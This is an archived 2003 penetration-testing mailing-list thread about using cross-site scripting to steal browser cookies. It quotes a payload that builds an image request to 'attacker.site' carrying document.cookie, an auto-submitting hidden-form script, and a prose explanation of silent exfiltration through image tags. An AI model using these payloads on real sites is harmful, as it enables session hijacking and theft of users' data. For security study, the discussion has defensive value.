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RE: Proof of Concept Tool on Web Application Security
Date: Wed Apr 16 2003 - 11:53:35 EDT
This is a little cumbersome, and relies on being able to insert your script
into the header, I think. Additionally, you don't always get the opportunity
to determine where your scritp will end up. Sometimes it is already in the
middle of a form, and you can't have nested forms in HTML.
The simplest way is just to insert an image tag, that requests an image from a site under your control, and passes the data as a parameter after the image file name. That way, as the HTML page is parsed by the browser, the image will automatically be retrieved from your server, and the data desired sent to you as part of the request.
-----Original Message-----
From: Jon Pastore [mailto:jpastore@idetech.net]
Sent: 16 April 2003 01:10 PM
To: Indian Tiger
Cc: pen-test@securityfocus.com
Subject: Re: Proof of Concept Tool on Web Application Security
you are a little beyond me but I would like to know more about this...but as far as automated submitting that's easy:
<script lanaguage=javascript>
function sendmedata()
{
documet.thiefme.submit();
}
</script>
<body onLoad="sendmedate();">
<form method=post name=thiefme action="you_know_better_then_me.cgi">
<input type=hidden name=goods value="the data you populated">
</form>
----- Original Message -----
From: "Indian Tiger" <indiantiger@mailandnews.com>
To: <pen-test@securityfocus.com>; <rdawes@deloitte.co.za>
Sent: Sunday, April 13, 2003 3:33 AM
Subject: RE: Proof of Concept Tool on Web Application Security
Hi Rogan,
Comments in-line
[script language=javascript]document.print("<img src='http://attacker.site/snarf?" + document.cookie + "'>")[/script]
I have tested this and it works perfectly fine. In my scenario I gave as
follows and it was working:
<script> alert('hacked') </script>
Now I am testing Cross-Site Scripting to steal the client cookies, or any
other sensitive information. I am working on my own pen-test-testing site,
which is vulnerable to XSS. I was able to display the cookies of the client
at
the victim's machine, but that was not my goal, my goal is to get that
cookies
on my machine or any desired location. So is there any way by which I can
transfer the victim's cookie or any other information at my machine without
interaction of the victim.
One way of transferring cookie information from the victim's machine to
attacker's machine is to create a hidden filed & then transfer cookie
information to that hidden field & then post (submit) this hidden field to
web
site of attacker. But this require interaction of victim, as victim must
click
on submit button to post this data to attacker's site, which is not a good
idea, the data should be transferred without knowledge of victim. So what
should be the best way to this? How I can upload a file from victim machine
to
any other server?
Any suggestions on the above topics will be highly appreciated.
Thanking you,
Sincerely,
Indian Tiger, CISSP
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Attend Black Hat Briefings & Training Europe, May 12-15 in Amsterdam, the world's premier event for IT and network security experts. The two-day Training features 6 hand-on courses on May 12-13 taught by professionals. The two-day Briefings on May 14-15 features 24 top speakers with no vendor sales pitches. Deadline for the best rates is April 25. Register today to ensure your place. http://www.securityfocus.com/BlackHat-pen-test
Received on Wed Apr 16 13:05:44 2003
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